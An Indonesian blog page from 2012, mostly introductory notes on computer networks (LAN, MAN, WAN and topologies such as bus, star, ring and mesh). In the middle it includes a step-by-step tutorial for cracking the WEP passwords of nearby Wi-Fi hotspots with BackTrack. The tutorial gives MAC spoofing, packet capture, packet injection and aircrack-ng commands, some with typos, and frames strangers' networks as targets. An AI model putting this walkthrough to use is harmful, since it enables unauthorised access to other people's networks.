Kamis, 06 Desember 2012

JARINGAN KOMPUTER

1. Local Area Network (LAN)
Local Area Network (LAN) adalah sejumlah komputer yang saling dihubungkan bersama di dalam satu areal tertentu yang tidak begitu luas, seperti di dalam satu kantor atau gedung. Secara garis besar terdapat dua tipe jaringan atau LAN, yaitu jaringan Peer to Peer dan jaringan Client-Server. Pada jaringan peer to peer, setiap komputer yang terhubung ke jaringan dapat bertindak baik sebagai workstation maupun server. Sedangkan pada jaringan Client-Server, hanya satu komputer yang bertugas sebagai server dan komputer lain berperan sebagai workstation. Antara dua tipe jaringan tersebut masing-masing memiliki keunggulan dan kelemahan, di mana masing-masing akan dijelaskan.

LAN tersusun dari beberapa elemen dasar yang meliputi komponen hardware dan software, yaitu :


  • Komponen Fisik Personal Computer (PC), Network Interface Card (NIC), Kabel, Topologi jaringan.
  • Komponen Software Sistem Operasi Jaringan, Network Adapter Driver, Protokol Jaringan.
    Jaringan ini disebut sebagai jaringan area, yaitu jaringan yang terbatas untuk area kecil, seperti pada lingkungan perkantoran di sebuah gedung, sekolah, atau kampus. Dalam jaringan LAN, terdapat satu komputer yang biasa disebut server, yang fungsinya adalah untuk memberikan layanan perangkat lunak (software), mengatur aktivitas jaringan dan menyimpan file. Selain server ada pula komputer lain yang terhubung dalam jaringan (network) yang disebut dengan workstation (client). Pada umumnya teknologi jaringan LAN menggunakan media kabel untruk menghubungkan komputer-komputer yang digunakan.

    LAN dapat dibedakan berdasarkan tiga karakteristik, yaitu ukuran, teknologi transmisi, dan topologinya. Teknologi transmisi yang bisa digunakan adalah transmisi kabel tunggal. Pada LAN biasa, kecepatan transmisi sekitar 10 – 100 Mbps (Megabit/second), dan faktor kesalahan kecil. Topologi yang digunakan biasanya topologi Bus, Star dan Ring.
GAMBAR : JARINGAN LA N
2. Metropolitan Area Network (MAN)

Jaringan ini lebih luas dari jaringan LAN dan menjangkau antar wilayah dalam satu provinsi. Jaringan MAN menghubungkan jaringan-jaringan kecil yang ada, seperti LAN yang menuju pada lingkungan area yang lebih besar. Contoh, beberapa bank yang memiliki jaringan komputer di setiap cabangnya dapat berhubungan satu sama lain sehingga nasabah dapat melakukan transaksi di cabang maupun dalam propinsi yang sama.
GAMBAR: JARINGAN MAN
3. Wide Area Network (WAN)

Jaringan ini mencakup area yang luas dan mampu menjangkau batas propinsi bahkan sampai negara yang ada dibelahan bumi lain. Jaringan WAN dapat menghubungkan satu komputer dengan komputer lain dengan menggunakan satelit atau kabel bawah laut. Topologi yang digunakan WAN menggunakan topologi tak menentu sesuai dengan apa yang akan digunakan. Topologi Jaringan (Bentuk Jaringan) Topologi Jaringan adalah gambaran secara fisik dari pola hubungan antara komponen-komponen jaringan, yang meliputi server, workstation, hub/Switch dan pengkabelannnya.

GAMBAR: JARINGAN WAN

Terdapat tiga macam topologi jaringan umum digunakan, yaitu Bus, Star dan Ring. Topologi Jaringan Topologi merupakan suatu pola hubungan antara terminal dalam jaringan komputer. Pola ini sangat erat kaitannya dengan metode access dan media pengiriman yang digunakan. Topologi yang ada sangatlah tergantung dengan letak geograpis dari masing-masing terminal, kualitas kontrol yang dibutuhkan dalam komunikasi ataupun penyampaian pesan, serta kecepatan dari pengiriman data.

a. Point to Point (Titik ke-Titik).

Jaringan kerja titik ke titik merupakan jaringan kerja yang paling sederhana tetapi dapat digunakan secara luas. Begitu sederhananya jaringan ini, sehingga seringkali tidak dianggap sebagai suatu jaringan tetapi hanya merupakan komunikasi biasa. Dalam hal ini, kedua simpul mempunyai kedudukan yang setingkat, sehingga simpul manapun dapat memulai dan mengendalikan hubungan dalam jaringan tersebut. Data dikirim dari satu simpul langsung kesimpul lainnya sebagai penerima, misalnya antara terminal dengan CPU.



Topologi jaringan Point to Point (Titik ke-Titik)
Topologi jaringan Point to Point (Titik ke-Titik)
Topologi jaringan Point to Point (Titik ke-Titik)
Topologi jaringan Point to Point (Titik ke-Titik)


b. Star Network (Jaringan Bintang).

Dalam konfigurasi bintang, beberapa peralatan yang ada akan dihubungkan kedalam satu pusat komputer. Kontrol yang ada akan dipusatkan pada satu titik, seperti misalnya mengatur beban kerja serta pengaturan sumber daya yang ada. Semua link harus berhubungan dengan pusat apabila ingin menyalurkan data kesimpul lainnya yang dituju. Dalam hal ini, bila pusat mengalami gangguan, maka semua terminal juga akan terganggu. Model jaringan bintang ini relative sangat sederhana, sehingga banyak digunakan oleh pihak per-bank-kan yang biasanya mempunyai banyak kantor cabang yang tersebar dipelbagai lokasi. Dengan adanya konfigurasi bintang ini, maka segala macam kegiatan yang ada di-kantor cabang dapatlah dikontrol dan dikoordinasikan dengan baik. Disamping itu, dunia pendidikan juga banyak memanfaatkan jaringan bintang ini guna mengontrol kegiatan anak didik mereka.



Topologi jaringan Star Network (Jaringan Bintang)
Topologi Star Network (Jaringan Bintang)
Topologi jaringan Star Network (Jaringan Bintang)
Topologi jaringan Star Network (Jaringan Bintang)



c. Ring Networks (Jaringan Cincin)

Pada jaringan ini terdapat beberapa peralatan saling dihubungkan satu dengan lainnya dan pada akhirnya akan membentuk bagan seperti halnya sebuah cincin. Jaringan cincin tidak memiliki suatu titik yang bertindak sebagai pusat ataupun pengatur lalu lintas data, semua simpul mempunyai tingkatan yang sama. Data yang dikirim akan berjalan melewati beberapa simpul sehingga sampai pada simpul yang dituju. Dalam menyampaikan data, jaringan bisa bergerak dalam satu ataupun dua arah. Walaupun demikian, data yang ada tetap bergerak satu arah dalam satu saat. Pertama, pesan yang ada akan disampaikan dari titik ketitik lainnya dalam satu arah. Apabila ditemui kegagalan, misalnya terdapat kerusakan pada peralatan yang ada, maka data yang ada akan dikirim dengan cara kedua, yaitu pesan kemudian ditransmisikan dalam arah yang berlawanan, dan pada akhirnya bisa berakhir pada tempat yang dituju. Konfigurasi semacam ini relative lebih mahal apabila dibanding dengan konfigurasi jaringan bintang. Hal ini disebabkan, setiap simpul yang ada akan bertindak sebagai komputer yang akan mengatasi setiap aplikasi yang dihadapinya, serta harus mampu membagi sumber daya yang dimilikinya pada jaringan yang ada. Disamping itu, sistem ini lebih sesuai digunakan untuk sistem yang tidak terpusat (decentralized-system), dimana tidak diperlukan adanya suatu prioritas tertentu.



Topologi jaringan Ring Networks (Jaringan Cincin)
Ring Networks (Jaringan Cincin)
Topologi jaringan Ring Networks (Jaringan Cincin)
Ring Networks (Jaringan Cincin)
Topologi jaringan Ring Networks (Jaringan Cincin)
Ring Networks (Jaringan Cincin)


d. Tree Network (Jaringan Pohon)

Pada jaringan pohon, terdapat beberapa tingkatan simpul (node). Pusat atau simpul yang lebih tinggi tingkatannya, dapat mengatur simpul lain yang lebih rendah tingkatannya. Data yang dikirim perlu melalui simpul pusat terlebih dahulu. Misalnya untuk bergerak dari komputer dengan node-3 ke komputer node-7 seperti halnya pada gambar, data yang ada harus melewati node-3, 5 dan node-6 sebelum berakhir pada node-7. Keungguluan jaringan model pohon seperti ini adalah, dapat terbentuknya suatu kelompok yang dibutuhkan pada setiap saat. Sebagai contoh, perusahaan dapat membentuk kelompok yang terdiri atas terminal pembukuan, serta pada kelompok lain dibentuk untuk terminal penjualan. Adapun kelemahannya adalah, apabila simpul yang lebih tinggi kemudian tidak berfungsi, maka kelompok lainnya yang berada dibawahnya akhirnya juga menjadi tidak efektif. Cara kerja jaringan pohon ini relatif menjadi lambat.



Topologi jaringan Tree Network (Jaringan Pohon)
Topologi Jaringan Tree Network (Jaringan Pohon)
Topologi jaringan Tree Network (Jaringan Pohon)
Topologi Jaringan Tree Network (Jaringan Pohon)


e. Bus Network Konfigurasi

dikenal dengan istilah bus-network, yang cocok digunakan untuk daerah yang tidak terlalu luas. Setiap komputer (setiap simpul) akan dihubungkan dengan sebuah kabel komunikasi melalui sebuah interface. Setiap komputer dapat berkomunikasi langsung dengan komputer ataupun peralatan lainnya yang terdapat didalam network, dengan kata lain, semua simpul mempunyai kedudukan yang sama. Dalam hal ini, jaringan tidak tergantung kepada komputer yang ada dipusat, sehingga bila salah satu peralatan atau salah satu simpul mengalami kerusakan, sistem tetap dapat beroperasi. Setiap simpul yang ada memiliki address atau alam sendiri. Sehingga untuk meng-access data dari salah satu simpul, user atau pemakai cukup menyebutkan alamat dari simpul yang dimaksud.



Topologi jaringan Bus Network Konfigurasi
Topologi Jaringan Bus Network Konfigurasi
Topologi jaringan Bus Network Konfigurasi
Topologi Jaringan Bus Network Konfigurasi


f. Plex Network (Jaringan Kombinasi)

Merupakan jaringan yang benar-benar interactive, dimana setiap simpul mempunyai kemampuan untuk meng-access secara langsung tidak hanya terhadap komputer, tetapi juga dengan peralatan ataupun simpul yang lain. Secara umum, jaringan ini mempunyai bentuk mirip dengan jaringan bintang. Organisasi data yang ada menggunakan de-sentralisasi, sedang untuk melakukan perawatan, digunakan fasilitas sentralisasi



Topologi jaringan Plex Network (Jaringan Kombinasi)
Topologi Jaringan Plex Network (Jaringan Kombinasi)


Thanks To : Dhany Fairburn 

Hack Password WIFI Via BACKTRACK

Pertama sobat harus punya OS backtrack baik dalam bentuk keping cakram atau tersimpan di flash memory. Jika belum punya coba aja unduh filenya disini. Jangan tergesa-gesa karena filenya cukup besar. Kalau sobat punya speed access minimal 1 kbps, kira-kira butuh 3 jam sampai unduhan selesai. Simpan file tersebut dalam bentuk ISO file dalam keping cakram dulu agar sobat bisa mengoprerasikan secara terpisah dengan windows yang sobat punya. Jangan khawatir bakctrack ini dishare secara gratis dan terkenal keamanannya.


Jika proses pertama sudah selesai dan Backtrack sudah di genggaman, sobat tinggal boot aja komputer sobat dengan OS dimaksud dan tunggu sampai booting selesai.

Bukalah konsol baru, untuk mengetahui driver interface yang sobat pakai, ketikkan dan enter perintah berikut: (mengetahui driver interface penting agar perintah-perintah berikutnya dapat dijalankan)

airmon-ng

maka akan muncul nama interface sebagaimana dalam gambar berikut:

Picture
Di layar akan muncul driver interface wifi yang sobat pakai, pada  gambar diatas driver yang muncul adalah ra1. Driver ini bisa bervariasi tergantung dari chip yang terpasang baik internal atau eksternal. bisa jadi yang muncul seperti wlan0, rt2540 atau lainnya.

Kemudian hentikan sementara koneksi wireless sobat untuk mengganti mac code dengan perintah berikut:

airmon-ng stop [interface]
interface dalam hal ini adalah driver yang saya sebutkan di atas, contoh :

 airmon-ng stop ra1

Dengan command di atas berarti sobat sudah memberi perintah disconnect wireless yang sobat pakai. Lalu ketik lagi command berikut berturut-turut:

ifconfig [interface] down

macchanger --mac 00:11:22:33:44:55  [interface]

airmon-ng start [interface]
command terakhir di atas adalah untuk mengaktifkan kembali wireless yang sebelumnya disconnected. Selanjutnya saatnya kita memilih rangkaian wireless yang akan kita hack passwordnya. Sekali lagi yang paling mudah adalah wireless dengan enkripsi WEP. Jalankan perintah berikut :

airodump-ng [interface]

Akan muncul seluruh hotspot yang berada dalam jangkauan, tunggulah beberapa saat sampai sobat mendapatkan sasaran terbaik untuk di shoot. Lihat dulu kira-kira strengh sinyal terkuat dengan enkripsi WEP yang paling empuk untuk dihack. Bila sobat sudah menemukannya, hentikan pencarian dengan menekan tombol ctrl+c.

OK, bila sudah dapat, sekarang fokuskan pada target. disitu ada channel (Channel number atau frekuensi yang dipakai berupa angka 1 sampai 11), ESSID ( Extended Service Set IDentifier atau identitas pengguna) dan BSSID ( Basic Service Set IDentifier) . Agar lebih mudah copy - paste saja BSSID dan ESSID dalam command berikut:
airodump-ng –c [Channel Number] –w [ESSID] --bssid [BSSID] [interface]


contohnya :
airodump-ng –c 1 –w network --bssid c0:ca:30:1d:2b ra1

bila bisa dipahami sampai disini lanjutkan saja proyek kita dengan membuka konsole baru dan ketik command :

airreplay-ng -1 0 –a [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Perintah di atas dimaksudkan untuk meningkatkan proses hacking untuk memecahkan paket data yang kita cari. OK, sekarang kita perintahkan mesin kita bekerja untuk mengumpulkan paket data sebanyak-banyaknya dengan memasukkan command berikut :

airreplay-ng -3 –b [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Tunggulah beberapa detik sapai data mencapai di atas angka 1000, kemudian jika dirasa sudah cukup tekan ctrl+c untuk menghentikannya. Lalu ketik command :

aircrack-ng –b [BSSID] [ESSID-01.cap]
dan data yang muncul adalah berupa digit berikut:

XX:XX:XX:XX:XX

its ok, sobat sudah dapat password XXXXXXXXXX (tanpa pemisah titik dua)

Sumber : Dhany Fairburn

Keunggulan dan Kelemahan Topologi Jaringan

untuk seorang IT Networking tentunya sudah tak asing lagi dengan yang namanya topologi jaringan, bagi orang awan seperti saya sendiri memang cukup sulit untuk membedakan dan memakai topologi jaringan manakah yang mudah untuk dibuat serta dengan budget minim
untuk lebih jelasnya saya akan menerangkan satu persatu topologi jaringan yang saya mengerti ;

  1. Topologi BUS topologi jaringan ini adalah awal dari topologi yang lain menurut beberapa sumber yang saya ketahui jaringan ini mudah sekali untuk dibuat namun yang menjadi masalah bila salah satu kabel PC terputus maka PC yang lain yang terhubung menggunakan topologi ini pun “down” topologi seperti ini kurang begitu diminati oleh USER
  2. Topologi RING
Topologi yang mudah untuk dibuat hanya dengan bantuan LAN Card yang bisa menerima dan mengeluarkan jaringan sistem topologi ini sudah bisa dipergunakan dengan sistem paralel. karena sistem ini menganut sistem paralel maka apabila ada 1 PC yang kabel LAN nya terputus maka PC dibelakangnya pun ikut terputus pula dan akhirnya topologi ini pun kurang diminati USER


3. Topologi STAR
ini dia salah satu primadona didunia networking topologi star ini sangat mudah untuk dibuat ditambah lagi bila anda mempunyai budget yang minim dengan dibantu oleh HUB  PC sudah bisa terkoneksi langsung ke internet tanpa melalui server atau apapun namun kelemahan dari topologi ini yakni karena masing-masih PC terkoneksi langsung ke internet maka semua PC tersebut saling rebutan bandwidth dengan PC lain yang terkoneksi

4. Topologi MASK
suatu bentuk hubungan antar perangkat dimana setiap perangkat terhubung secara langsung ke perangkat lainnya yang ada di dalam jaringan. Akibatnya, dalam topologi mesh setiap perangkat dapat berkomunikasi langsung dengan perangkat yang dituju (dedicated links).
Dengan demikian maksimal banyaknya koneksi antar perangkat pada jaringan bertopologi mesh ini dapat dihitung yaitu sebanyak n(n-1)/2. Selain itu karena setiap perangkat dapat terhubung dengan perangkat lainnya yang ada di dalam jaringan maka setiap perangkat harus memiliki sebanyak n-1 Port Input/Output (I/O ports).
Berdasarkan pemahaman di atas, dapat dicontohkan bahwa apabila sebanyak 5 (lima) komputer akan dihubungkan dalam bentuk topologi mesh maka agar seluruh koneksi antar komputer dapat berfungsi optimal, diperlukan kabel koneksi sebanyak 5(5-1)/2 = 10 kabel koneksi, dan masing-masing komputer harus memiliki port I/O sebanyak 5-1 = 4 port
karena membutuhkan kabel yang sangat banyak maka topologi ini kurang begitu efektif untuk digunakan orang awam dan memakan space ruangan yang lumayan karena banyak nya kabel tersebut

Sumber : Dhany Fairburn